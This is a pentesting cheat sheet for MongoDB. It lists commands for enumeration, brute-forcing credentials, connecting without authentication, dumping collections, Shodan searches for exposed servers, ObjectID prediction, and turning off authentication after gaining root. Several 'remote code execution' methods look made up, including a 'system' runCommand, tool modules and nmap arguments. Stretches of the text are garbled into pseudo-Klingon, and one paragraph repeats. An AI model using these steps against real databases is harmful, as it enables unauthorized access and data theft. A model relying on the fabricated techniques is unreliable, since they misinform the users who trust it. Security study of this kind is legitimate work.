25 KiB
27017,27018 - Pentesting MongoDB
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Basic Information
MongoDB is an open source database management system that uses a document-oriented database model to handle diverse forms of data. It offers flexibility and scalability for managing unstructured or semi-structured data in applications like big data analytics and content management. Default port: 27017, 27018
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
Enumeration
Manual
QaD
mongo command
mongo --host <IP> --port <PORT>
nmap script
nmap -p <PORT> --script mongodb-info <IP>
Automated
Metasploit module
use auxiliary/scanner/mongodb/mongodb_login
Nessus plugin
MongoDB Information
Exploitation
Unauthorized Access
mongo command
mongo --host <IP> --port <PORT> --username <USERNAME> --password <PASSWORD> --authenticationDatabase admin
pymongo library
from pymongo import MongoClient
client = MongoClient("<IP>", <PORT>)
db = client.admin
db.authenticate("<USERNAME>", "<PASSWORD>")
Metasploit module
use exploit/multi/mongodb/mongo_login
Nmap script
nmap -p <PORT> --script mongodb-brute --script-args 'mongodb-brute.username=<USERNAME>,mongodb-brute.password=<PASSWORD>' <IP>
Remote Code Execution
mongo command
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("admin").runCommand({cmd: "system", args: ["<COMMAND>"]})'
pymongo library
from pymongo import MongoClient
client = MongoClient("<IP>", <PORT>)
db = client.admin
db.command('eval', 'db.getSiblingDB("admin").runCommand({cmd: "system", args: ["<COMMAND>"]})')
Metasploit module
use exploit/multi/mongodb/mongodb_cmd_exec
Nmap script
nmap -p <PORT> --script mongodb-database-stats --script-args 'mongodb-database-stats.command=<COMMAND>' <IP>
Data Exfiltration
mongo command
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("admin").<COLLECTION>.find().forEach(printjson)'
pymongo library
from pymongo import MongoClient
client = MongoClient("<IP>", <PORT>)
db = client.admin
collection = db.<COLLECTION>
for document in collection.find():
print(document)
Metasploit module
use auxiliary/scanner/mongodb/mongodb_dump
Nmap script
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.collection=<COLLECTION>' <IP>
Database Manipulation
mongo command
mongo --host <IP> --port <PORT> --eval 'db.getSiblingDB("<DATABASE>").<COLLECTION>.<COMMAND>'
pymongo library
from pymongo import MongoClient
client = MongoClient("<IP>", <PORT>)
db = client.<DATABASE>
collection = db.<COLLECTION>
collection.<COMMAND>
Metasploit module
use auxiliary/admin/mongodb/mongodb_command
Nmap script
nmap -p <PORT> --script mongodb-database-stats --script-args 'mongodb-database-stats.command=<COMMAND>' <IP>
Database Dump
mongo command
mongodump --host <IP> --port <PORT> --out <DIRECTORY>
pymongo library
from pymongo import MongoClient
import subprocess
subprocess.call(["mongodump", "--host", "<IP>", "--port", "<PORT>", "--out", "<DIRECTORY>"])
Metasploit module
use auxiliary/scanner/mongodb/mongodb_dump
Nmap script
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.directory=<DIRECTORY>' <IP>
Database Restore
mongo command
mongorestore --host <IP> --port <PORT> --dir <DIRECTORY>
pymongo library
from pymongo import MongoClient
import subprocess
subprocess.call(["mongorestore", "--host", "<IP>", "--port", "<PORT>", "--dir", "<DIRECTORY>"])
Metasploit module
use auxiliary/scanner/mongodb/mongodb_restore
Nmap script
nmap -p <PORT> --script mongodb-dump --script-args 'mongodb-dump.directory=<DIRECTORY>' <IP>
from pymongo import MongoClient
client = MongoClient(host, port, username=username, password=password)
client.server_info() #Basic info
#If you have admin access you can obtain more info
admin = client.admin
admin_info = admin.command("serverStatus")
cursor = client.list_databases()
for db in cursor:
print(db)
print(client[db["name"]].list_collection_names())
#If admin access, you could dump the database also
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**Some
show dbs
use <db>
show collections
db.<collection>.find() #Dump the collection
db.<collection>.count() #Number of records of the collection
db.current.find({"username":"admin"}) #Find in current db the username admin
QapDI'
Description
Automatic pentesting tools can be used to scan for vulnerabilities in MongoDB databases running on ports 27017 and 27018. These tools automate the process of identifying potential security weaknesses and can save time and effort during a penetration test.
Ngech
Automatic pentesting tools can be used to scan for vulnerabilities in MongoDB databases running on ports 27017 and 27018. These tools automate the process of identifying potential security weaknesses and can save time and effort during a penetration test.
nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used
Shodan
- bIng mongodb:
"mongodb server information" - bIng vItlh mongodb server:
"mongodb server information" -"partially enabled" - bIng vItlh partially enable auth:
"mongodb server information" "partially enabled"
Login
mongo jatlh password chImej.
Admin mongo database vItlh 'oH.
mongo <HOST>
mongo <HOST>:<PORT>
mongo <HOST>:<PORT>/<DB>
mongo <database> -u <username> -p '<password>'
The nmap script: mongodb-brute will check if creds are needed.
Klingon Translation:
mongodb-brute nmap script: creds vItlhutlh.
nmap -n -sV --script mongodb-brute -p 27017 <ip>
Brute force
ghItlh/opt/bitnami/mongodb/mongodb.conf_ vItlhutlh credentials vItlhutlh:
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
Mongo Objectid Predict
Example from here.
Mongo Object IDs are 12-byte hexadecimal strings:
For example, here’s how we can dissect an actual Object ID returned by an application: 5f2459ac9fa6dc2500314019
- 5f2459ac: 1596217772 in decimal = Friday, 31 July 2020 17:49:32
- 9fa6dc: Machine Identifier
- 2500: Process ID
- 314019: An incremental counter
Of the above elements, machine identifier will remain the same for as long as the database is running the same physical/virtual machine. Process ID will only change if the MongoDB process is restarted. Timestamp will be updated every second. The only challenge in guessing Object IDs by simply incrementing the counter and timestamp values, is the fact that Mongo DB generates Object IDs and assigns Object IDs at a system level.
The tool https://github.com/andresriancho/mongo-objectid-predict, given a starting Object ID (you can create an account and get a starting ID), it sends back about 1000 probable Object IDs that could have possibly been assigned to the next objects, so you just need to bruteforce them.
Post
If you are root you can modify the mongodb.conf file so no credentials are needed (noauth = true) and login without credentials.
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